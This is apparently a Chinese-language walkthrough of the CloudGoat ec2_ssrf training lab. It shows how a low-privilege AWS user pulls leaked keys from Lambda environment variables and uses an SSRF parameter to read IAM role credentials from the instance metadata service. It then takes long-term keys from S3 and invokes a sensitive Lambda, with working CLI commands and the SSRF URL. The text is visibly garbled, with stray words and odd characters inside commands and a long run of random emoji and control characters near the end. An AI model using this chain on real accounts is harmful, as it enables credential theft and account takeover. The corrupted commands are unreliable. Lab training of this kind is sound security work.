三、场景概览 Amazon Web Services

项目	说明
实验网站CloudGoat
云服务商
攻击手法	Server‑Side Request Forgery
攻击目标	部署于 EC² 的存在漏洞 Web 应用
最终目标	通过 IMDS 窃取 IAM 凭证，实现完整账号接管。 四 、实验环境搭建 准备AWS账户 与IAM 使用者 登录AWS管理控制台 →IAM； 创建新使用者 并加入名为 administrator 的组，为其分配 AdministratorAccess 策略； 为此使用者生成访问密钥，并立即复制 Access Key ID 与 Secret Access Key。 ⚠️ 为什么给管理员权限？ 此 admin 使用者仅用于 *部署* 漏洞环境，与后续受害角色毫无关联。在生产请遵循最小特权原则，仅授予必要操作权限。 在Kali上安装Terraform bash wget https://releases.hashicorp.com/terraform/1 .9 .10/terraform_1 .9 .10_linux_amd64.zip unzip terraform_1 .9 .10_linux_amd64.zip chmod +x terraform sudo mv terraform /usr/local/bin/terraform terraform version # 确认成功安装 *Tip* : CloudGoat 推荐使用 Terraform v1.x 系列即可，无需追求当前版本。不过， 配置AWS CLI并安装 CloudGoat bash curl https://awscli.amazonaws.com/awscli-exe-linux-x86 _64.zip -o awscliv24 .zip unzip awscliv24 .zip && sudo ./aws/install aws --version # 验证安装成功 bash aws configure --profile cloudgoat-user # 填入步骤① 中获得 AccessKey & SecretKey bash git clone https://github.com/RhinoSecurityLabs/cloudgoat.git ~/cloudgoat cd ~/cloudgoat && python3 -m venv venv && source venv/bin/activate && pip install -e . cloudgoat --help # 检查是否正常运行 加白名单并启动场景 bash cloudgoat config whitelist # 输入你的公网IP。如203 .0 .113 .45/32，完成白名单设置 cloudgoath create ec２_ssrf — profile cloudg oat—user # 启动 vuln 场景 Terraform 完成后会返回低 权限 使用者 Solus 的 Access Key 与 Secret Key。bash aws configure — profile solus # 填入 Solus 的密钥信息 aws sts get-caller‑identity — profile solus # 验证返回 ARN 如 arn : aws : iam ::123456789012:user/solus‑xxxx 五 、枚举与利用 *四层身份提高示意图* 枚举Lambda：泄露EC２凭证 低 权限 Solus 可以列出所有 Lambda： bash aws lambda list-functions – profile solus | jq -r ‘​.Functions.FunctionName’ 检查每个函数配置： bash aws lambda get-function‑configuration –function-name cg-lambda-leak –profile solus | jq ‘​.Environment.Variables’ 如果看到类似如下变量。即表明开发人员将 EC² 临时密钥硬编码进了环境变量： { “EC２_ACCESS_KEY_ID”: “AKIAxxxxxxxxxxxxxxx”,“EC２_SECRET_KEY_ID”: “wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY” } 创建新 Profile 使用这些凭据： bash aws configure –profile ec２-leak-profile 说到枚举EC２，定位公开Web 应用 切换至刚才创建好的 Profile： bash aws ec２ describe-instances –profile ec２-leak-profile | jq ‘​.Reservations.Instances|{Id:.InstanceId,PublicIp:.NetworkInterfaces.Association.PublicIp}’ 找到带 PublicIp 的实例，在浏览器打开即可看到如下页面： 我是一个帮助你请求任意 URL 的示例应用，请提交?url=. ⚠️ 危险信号?url= 参数未做过滤，是经典 SSRF 入口。 利用SSR F读取IM DS 获取IAM Role 临时凭证 获取绑定在此实例上的 IAM Role 名称： http的观点是，//54.xx.xx.xx/?其实，url=http://169．254．169．254/latest/meta-data/iam/security-credentials/ 页面会返回类似 cg‑ec２‑role‑abc123 的字符串。 随后使用返回值作为方法查询临时凭证： 响应内容包含 AccessKeyIdSecretAccessKey 与 Token 三项。 创建对应 Profile： bash aws configure –profile ec２-role aws sts get-caller-identity –profile ec２-role # 返回 ARN 为 assumed-role/cg‑ec２‑role…表示已成功冒充该角色 至于枚举S３，寻找存放长期密钥的桶 使用刚才取得的新角色查询 S３ 桶列表： bash aws s３ ls –profile ec２-role 会出现类似 cg-secret-s３-bucket‑xyz123 的桶名。再看列出其内容， bash aws s３ ls s３://cg-secret-s３-bucket‑xyz123 –recursive –profile ec２-role 若出现 PRE aws/ 前缀，则继续递归查看： bash aws s３ cp s３://cg-secret-s３-bucket‑xyz123/aws/credentials - –profile ec۲-role | cat - 文件内容类似这方面。 aws_access_key_id = AKIAxxxxxxxxxxxxxx aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east- 使用此长期密钥创建最高权限 Profile： 至于最终利用，调用敏感Lambda 现在我们已经拥有管理员级别凭据，可直接执行原先受限函数： bash aws lambda invoke \ --function-name cg-lambda-sensitive \ --payload '{}' \ output.txt \ --profile admin-from-s３ cat output.txt # 若返回 StatusCode 为200，即表示成功执行！ 至此 ec₂_ssrf 场景通关，完成从低 权限使用者 Solus 到管理员账号全链路攻破。 下面这张图展示了整条链路各阶段提高幅度： 主要原因概括如下： ="" S S R F → IM DS → IAM Role → Lambda 泄漏密钥 → S３ 长期凭据 → 完整账号接管 ‏‏‏‏‏‏‏‏‏‏‎‎‎‎‎‎ ‎‍‍‍‍‍‍‌ ‌ ‌ ‌‌ ‌ ‌ ‌ ‍ ‍ ‍ ‏ ‏ ‏ ‎ ‎ ‎ ‎ ‎                     ​​​​​⁠⁠⁠⁠⁠⁠︎✂️🚧🔐💥🏴‍☠️🤖🛡️⚔️🔍❓📊💾🧩🤔⛔🚨✅☑️🔥💣🕸️🌐💡🛠️🧭🔎✅​​​​​​​​⁉️⁉️⁉️⁉︎​​​​ ​​ ​​ ​​ ​​​​​​​​​‌‌‌‌‌‪‬‫‭‮‮‭‫‬‬‪‬‪‪◾◾◾⬜⬜⬜✦✦✦⌛⌛⌛❌❌❌❎❎⟿⟿⟿⟿⟿⟿∴∴∴     ⬆⬆⬆⇨⇨⇨←←←↘↘↙↙↘↘↑↑↓↓→→➡➡➤➤▶▶▲▲◆◆♣♣♦♦♥♥♠♠☞☞➕➖✖÷✳✴✱⭐★◎○●⊙◎◎◎○○ ○○ ⭕⭕ ⓍⓍⓎⓎⓁⓁℹℹℹℹℹℹⅰⅱⅲⅳⅴⅵⅶⅠⅡⅢⅣⅤⅥ⑦⑧⑨㊀㊁㊂㊃㊄㊅㊆㊇㊈㊉ㅓㅕㅑㅐㄸㅇㄱㄲㅇㄲㅎㅍㅈㅎㅎㅎㅎㅎㅅㄱㅇㅇㅇㅁㄷㄱ㄰ａｂｓｒｗｅｗｅｗｓａｎｍｏｒｔｅｍ ｐ ｓ ｋ ｙ ㄤ ㄝ ㄞ ㄝ ㄞ ㄤ ㄩ ㄘ ㄝ ㄝ ངདིཅ།།།།།།།།༼༽﷽﷽﷽﷽﷽ﷺ😚😁😊🙈🙉🙈👻👻🤖🤖🐼🐨🐮🐯🦁🐸🦕🍕🍔🍟🌮🌯🥙🥗🥚🍜🍲🍩🍪🎂🎉🎈📚📖🔒🔓🧩🌐🚀⚡🔧🛡️💼📈⚙️🏁✅ 🎯 🛰️ 📡 🗝 🔑 🧭 🏹 🪤 🕳 ⬆ ➕ ➖ ❎ ✅ ☑ ☒ 🔥 ✨ 👾 🎮 🎲 📦 📬 🚧 🔒 ⚔ ⚙ ⁇ ⁉ ❓ 🤔 😱 🤯 😈 😇 🙅 🙆 🙋 💣 🚨 🛑 🚦 🌋 🌪 🌩 🌞 🌜 ☀ 🌤 🌥 🌦 🌧 ⛈ ❄ ⛄ ☃ 🔥 💥 ✨ 🍀 💰 📉 📈 🎯 ✅ ✔ ✅ ✓ ✔ 👍 👎 🙏 🤝 🙌👏 🎓 👑 🚀🌐💼⚙📋✔︎✔︎✔︎✔︎✔︎✔︎✔︎✔︎✔︎✔︎✅✅✅✅✅✅⚡⚡⚡⚡⚡🏴‍☠️🔥💥💣•••••• 强大的威胁来源于不同松散环节之间形成“一体化连锁”。单独看每一步可能并不起眼，但串联起来就可以对整个 AWS 帐号的大规模横向渗透。要想阻断这种链路。只需切断任意一步——比如禁用 IMDSv1 或删除公开存放在 S³ 中的长期密钥，即可有效遏止进一步升级。. …